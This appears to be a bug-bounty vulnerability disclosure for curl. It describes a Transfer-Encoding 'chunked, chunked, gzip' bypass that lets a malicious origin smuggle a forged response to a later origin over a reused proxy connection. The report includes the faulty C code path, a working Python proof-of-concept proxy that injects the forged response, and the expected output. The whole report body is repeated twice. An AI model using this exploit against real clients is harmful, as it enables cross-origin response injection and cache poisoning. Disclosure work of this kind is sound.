Description
## TL;DR
A malicious HTTP origin can send `Transfer-Encoding: chunked, chunked, gzip` through a reusable HTTP proxy connection to bypass curl's "chunked must be last" guard, queue a forged HTTP response after its own response, and make curl parse that queued data as the response for a later request to a different origin.
## Summary:
curl accepts the malformed HTTP/1.1 response header `Transfer-Encoding: chunked, chunked, gzip`.
curl already has a guard that rejects transfer codings listed after `chunked`, because `chunked` must be the final transfer coding, but a duplicate `chunked` entry bypasses that guard.
In `Curl_build_unencoding_stack()`, the duplicate-`chunked` branch returns `CURLE_OK` for the entire header instead of ignoring only the duplicate token and continuing to parse the later `gzip` token.
When curl uses an HTTP proxy, multiple target origins can share the same client-to-proxy TCP connection.
An attacker who controls only the first requested origin can send this malformed response and queue a forged HTTP response behind the first chunked body; curl can then reuse the proxy connection and parse those queued attacker bytes as the response for a later request to a different origin.
The attacker does not need to control the proxy, the client machine, or the later target origin. They only need the victim workflow to fetch an attacker-controlled HTTP URL before another HTTP URL through the same reusable HTTP proxy connection.
## Affected versions
This appears to affect curl/libcurl versions starting with `8.8.0`.
The vulnerable behavior was introduced by commit `886899143f`; the first release containing that commit is `8.8.0`.
I reproduced the issue on current repository `HEAD` `30c9c79cf8d2`, built from `https://github.com/curl/curl`, on:
```text
curl 8.21.0-DEV (x86_64-pc-linux-gnu) libcurl/8.21.0-DEV zlib/1.2.11
Release-Date: [unreleased]
Protocols: file ftp http ipfs ipns ws
Features: alt-svc AsynchDNS IPv6 Largefile libz threadsafe UnixSockets
```
Platform:
```text
Linux yanzhen 5.15.0-139-generic #149~20.04.1-Ubuntu SMP Wed Apr 16 08:29:56 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
```
Relevant code paths:
```c
/* lib/http.c */
result = Curl_build_unencoding_stack(data, v, TRUE);
/* lib/content_encoding.c */
cwt = find_unencode_writer(name, namelen, phase);
if(cwt && is_chunked && Curl_cwriter_get_by_type(data, cwt)) {
CURL_TRC_WRITE(data, "ignoring duplicate 'chunked' decoder");
return CURLE_OK;
}
if(is_transfer && !is_chunked &&
Curl_cwriter_get_by_name(data, "chunked")) {
failf(data, "Reject response due to 'chunked' not being the last "
"Transfer-Encoding");
return CURLE_BAD_CONTENT_ENCODING;
}
```
The early `return CURLE_OK` skips the later `gzip` token in `Transfer-Encoding: chunked, chunked, gzip`, so the existing "chunked not last" rejection is never reached.
## Steps To Reproduce:
Run the following self-contained PoC from a curl source checkout after building `src/curl`. It does not call any local PoC file. It starts a local HTTP proxy simulator, makes one request to `attacker.test` followed by one request to `victim.test` in the same curl process, and checks whether bytes queued after the first response are parsed as the second origin's response.
```bash
python3 <<'PY'
import os, shutil, socket, subprocess, threading, time
curl_bin = os.environ.get("CURL_BIN")
if not curl_bin:
curl_bin = "./src/curl" if os.path.exists("./src/curl") else shutil.which("curl")
if not curl_bin:
raise SystemExit("Set CURL_BIN or run from a curl checkout with ./src/curl")
def read_headers(conn):
data = b""
while b"\r\n\r\n" not in data:
chunk = conn.recv(4096)
if not chunk:
break
data += chunk
return data
def run_case(te_value):
listener = socket.socket()
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind(("127.0.0.1", 0))
listener.listen(1)
port = listener.getsockname()[1]
seen_requests = []
def proxy():
conn, _ = listener.accept()
conn.settimeout(5)
try:
seen_requests.append(read_headers(conn))
conn.sendall(
b"HTTP/1.1 200 OK\r\n"
+ b"Transfer-Encoding: " + te_value.encode("ascii") + b"\r\n"
+ b"Connection: keep-alive\r\n\r\n"
+ b"5\r\nHELLO\r\n0\r\n\r\n"
)
# Attacker-controlled bytes queued after the first response.
time.sleep(0.2)
conn.sendall(
b"HTTP/1.1 200 OK\r\n"
b"Content-Length: 9\r\n"
b"Connection: keep-alive\r\n\r\n"
b"SMUGGLED!"
)
try:
seen_requests.append(read_headers(conn))
time.sleep(0.2)
conn.sendall(
b"HTTP/1.1 200 OK\r\n"
b"Content-Length: 7\r\n"
b"Connection: close\r\n\r\n"
b"BENIGN\n"
)
except Exception:
pass
finally:
conn.close()
listener.close()
threading.Thread(target=proxy, daemon=True).start()
proc = subprocess.run(
[
curl_bin,
"-q",
"--http1.1",
"--proxy", f"http://127.0.0.1:{port}",
"-sS",
"-v",
"http://attacker.test/one",
"http://victim.test/two",
],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
timeout=10,
)
return proc, seen_requests
print(subprocess.check_output([curl_bin, "--version"], text=True).splitlines()[0])
control, _ = run_case("chunked, gzip")
control_err = control.stderr.decode("latin1", "replace")
print("control_exit:", control.returncode)
print("control_rejected:", "A Transfer-Encoding (gzip) was listed after chunked" in control_err)
vuln, seen = run_case("chunked, chunked, gzip")
vuln_out = vuln.stdout.decode("latin1", "replace")
vuln_err = vuln.stderr.decode("latin1", "replace")
print("vulnerable_exit:", vuln.returncode)
print("vulnerable_stdout:", vuln_out)
print("second_request_reached_proxy:", len(seen) >= 2)
print("proxy_connection_reused:", "Reusing existing http: connection with proxy" in vuln_err)
if (
"A Transfer-Encoding (gzip) was listed after chunked" in control_err
and vuln.returncode == 0
and vuln_out == "HELLOSMUGGLED!"
and len(seen) >= 2
and "Reusing existing http: connection with proxy" in vuln_err
):
print("VULNERABLE: queued attacker bytes were parsed as the second origin response")
else:
print("NOT REPRODUCED")
print(vuln_err)
raise SystemExit(1)
PY
```
Expected output on a vulnerable build:
```text
curl 8.21.0-DEV (x86_64-pc-linux-gnu) libcurl/8.21.0-DEV zlib/1.2.11
control_exit: 56
control_rejected: True
vulnerable_exit: 0
vulnerable_stdout: HELLOSMUGGLED!
second_request_reached_proxy: True
proxy_connection_reused: True
VULNERABLE: queued attacker bytes were parsed as the second origin response
```
The control case proves that curl correctly rejects `Transfer-Encoding: chunked, gzip`.
The vulnerable case proves that adding a duplicate `chunked` token changes the result: curl accepts `Transfer-Encoding: chunked, chunked, gzip`, consumes `HELLO` as the first response body, then parses `SMUGGLED!` as the body of the second request to `victim.test`.
## Impact
## Summary:
An attacker who controls one ordinary HTTP origin can make curl/libcurl parse queued attacker bytes as the response for a later request to a different origin when an HTTP/1.1 proxy connection is reused. The attacker does not need local access, proxy control, or control of the later origin; they only need the victim workflow to fetch the attacker URL first through the same proxy. This can cause cross-origin response injection, cache poisoning, corrupted fetcher/proxy output, or incorrect trust decisions.
A malicious HTTP origin can send `Transfer-Encoding: chunked, chunked, gzip` through a reusable HTTP proxy connection to bypass curl's "chunked must be last" guard, queue a forged HTTP response after its own response, and make curl parse that queued data as the response for a later request to a different origin.
## Summary:
curl accepts the malformed HTTP/1.1 response header `Transfer-Encoding: chunked, chunked, gzip`.
curl already has a guard that rejects transfer codings listed after `chunked`, because `chunked` must be the final transfer coding, but a duplicate `chunked` entry bypasses that guard.
In `Curl_build_unencoding_stack()`, the duplicate-`chunked` branch returns `CURLE_OK` for the entire header instead of ignoring only the duplicate token and continuing to parse the later `gzip` token.
When curl uses an HTTP proxy, multiple target origins can share the same client-to-proxy TCP connection.
An attacker who controls only the first requested origin can send this malformed response and queue a forged HTTP response behind the first chunked body; curl can then reuse the proxy connection and parse those queued attacker bytes as the response for a later request to a different origin.
The attacker does not need to control the proxy, the client machine, or the later target origin. They only need the victim workflow to fetch an attacker-controlled HTTP URL before another HTTP URL through the same reusable HTTP proxy connection.
## Affected versions
This appears to affect curl/libcurl versions starting with `8.8.0`.
The vulnerable behavior was introduced by commit `886899143f`; the first release containing that commit is `8.8.0`.
I reproduced the issue on current repository `HEAD` `30c9c79cf8d2`, built from `https://github.com/curl/curl`, on:
```text
curl 8.21.0-DEV (x86_64-pc-linux-gnu) libcurl/8.21.0-DEV zlib/1.2.11
Release-Date: [unreleased]
Protocols: file ftp http ipfs ipns ws
Features: alt-svc AsynchDNS IPv6 Largefile libz threadsafe UnixSockets
```
Platform:
```text
Linux yanzhen 5.15.0-139-generic #149~20.04.1-Ubuntu SMP Wed Apr 16 08:29:56 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
```
Relevant code paths:
```c
/* lib/http.c */
result = Curl_build_unencoding_stack(data, v, TRUE);
/* lib/content_encoding.c */
cwt = find_unencode_writer(name, namelen, phase);
if(cwt && is_chunked && Curl_cwriter_get_by_type(data, cwt)) {
CURL_TRC_WRITE(data, "ignoring duplicate 'chunked' decoder");
return CURLE_OK;
}
if(is_transfer && !is_chunked &&
Curl_cwriter_get_by_name(data, "chunked")) {
failf(data, "Reject response due to 'chunked' not being the last "
"Transfer-Encoding");
return CURLE_BAD_CONTENT_ENCODING;
}
```
The early `return CURLE_OK` skips the later `gzip` token in `Transfer-Encoding: chunked, chunked, gzip`, so the existing "chunked not last" rejection is never reached.
## Steps To Reproduce:
Run the following self-contained PoC from a curl source checkout after building `src/curl`. It does not call any local PoC file. It starts a local HTTP proxy simulator, makes one request to `attacker.test` followed by one request to `victim.test` in the same curl process, and checks whether bytes queued after the first response are parsed as the second origin's response.
```bash
python3 <<'PY'
import os, shutil, socket, subprocess, threading, time
curl_bin = os.environ.get("CURL_BIN")
if not curl_bin:
curl_bin = "./src/curl" if os.path.exists("./src/curl") else shutil.which("curl")
if not curl_bin:
raise SystemExit("Set CURL_BIN or run from a curl checkout with ./src/curl")
def read_headers(conn):
data = b""
while b"\r\n\r\n" not in data:
chunk = conn.recv(4096)
if not chunk:
break
data += chunk
return data
def run_case(te_value):
listener = socket.socket()
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind(("127.0.0.1", 0))
listener.listen(1)
port = listener.getsockname()[1]
seen_requests = []
def proxy():
conn, _ = listener.accept()
conn.settimeout(5)
try:
seen_requests.append(read_headers(conn))
conn.sendall(
b"HTTP/1.1 200 OK\r\n"
+ b"Transfer-Encoding: " + te_value.encode("ascii") + b"\r\n"
+ b"Connection: keep-alive\r\n\r\n"
+ b"5\r\nHELLO\r\n0\r\n\r\n"
)
# Attacker-controlled bytes queued after the first response.
time.sleep(0.2)
conn.sendall(
b"HTTP/1.1 200 OK\r\n"
b"Content-Length: 9\r\n"
b"Connection: keep-alive\r\n\r\n"
b"SMUGGLED!"
)
try:
seen_requests.append(read_headers(conn))
time.sleep(0.2)
conn.sendall(
b"HTTP/1.1 200 OK\r\n"
b"Content-Length: 7\r\n"
b"Connection: close\r\n\r\n"
b"BENIGN\n"
)
except Exception:
pass
finally:
conn.close()
listener.close()
threading.Thread(target=proxy, daemon=True).start()
proc = subprocess.run(
[
curl_bin,
"-q",
"--http1.1",
"--proxy", f"http://127.0.0.1:{port}",
"-sS",
"-v",
"http://attacker.test/one",
"http://victim.test/two",
],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
timeout=10,
)
return proc, seen_requests
print(subprocess.check_output([curl_bin, "--version"], text=True).splitlines()[0])
control, _ = run_case("chunked, gzip")
control_err = control.stderr.decode("latin1", "replace")
print("control_exit:", control.returncode)
print("control_rejected:", "A Transfer-Encoding (gzip) was listed after chunked" in control_err)
vuln, seen = run_case("chunked, chunked, gzip")
vuln_out = vuln.stdout.decode("latin1", "replace")
vuln_err = vuln.stderr.decode("latin1", "replace")
print("vulnerable_exit:", vuln.returncode)
print("vulnerable_stdout:", vuln_out)
print("second_request_reached_proxy:", len(seen) >= 2)
print("proxy_connection_reused:", "Reusing existing http: connection with proxy" in vuln_err)
if (
"A Transfer-Encoding (gzip) was listed after chunked" in control_err
and vuln.returncode == 0
and vuln_out == "HELLOSMUGGLED!"
and len(seen) >= 2
and "Reusing existing http: connection with proxy" in vuln_err
):
print("VULNERABLE: queued attacker bytes were parsed as the second origin response")
else:
print("NOT REPRODUCED")
print(vuln_err)
raise SystemExit(1)
PY
```
Expected output on a vulnerable build:
```text
curl 8.21.0-DEV (x86_64-pc-linux-gnu) libcurl/8.21.0-DEV zlib/1.2.11
control_exit: 56
control_rejected: True
vulnerable_exit: 0
vulnerable_stdout: HELLOSMUGGLED!
second_request_reached_proxy: True
proxy_connection_reused: True
VULNERABLE: queued attacker bytes were parsed as the second origin response
```
The control case proves that curl correctly rejects `Transfer-Encoding: chunked, gzip`.
The vulnerable case proves that adding a duplicate `chunked` token changes the result: curl accepts `Transfer-Encoding: chunked, chunked, gzip`, consumes `HELLO` as the first response body, then parses `SMUGGLED!` as the body of the second request to `victim.test`.
## Impact
## Summary:
An attacker who controls one ordinary HTTP origin can make curl/libcurl parse queued attacker bytes as the response for a later request to a different origin when an HTTP/1.1 proxy connection is reused. The attacker does not need local access, proxy control, or control of the later origin; they only need the victim workflow to fetch the attacker URL first through the same proxy. This can cause cross-origin response injection, cache poisoning, corrupted fetcher/proxy output, or incorrect trust decisions.
Basic Information
ID
H1:3795615
Published
Jun 11, 2026 at 08:27
Modified
Jun 13, 2026 at 20:47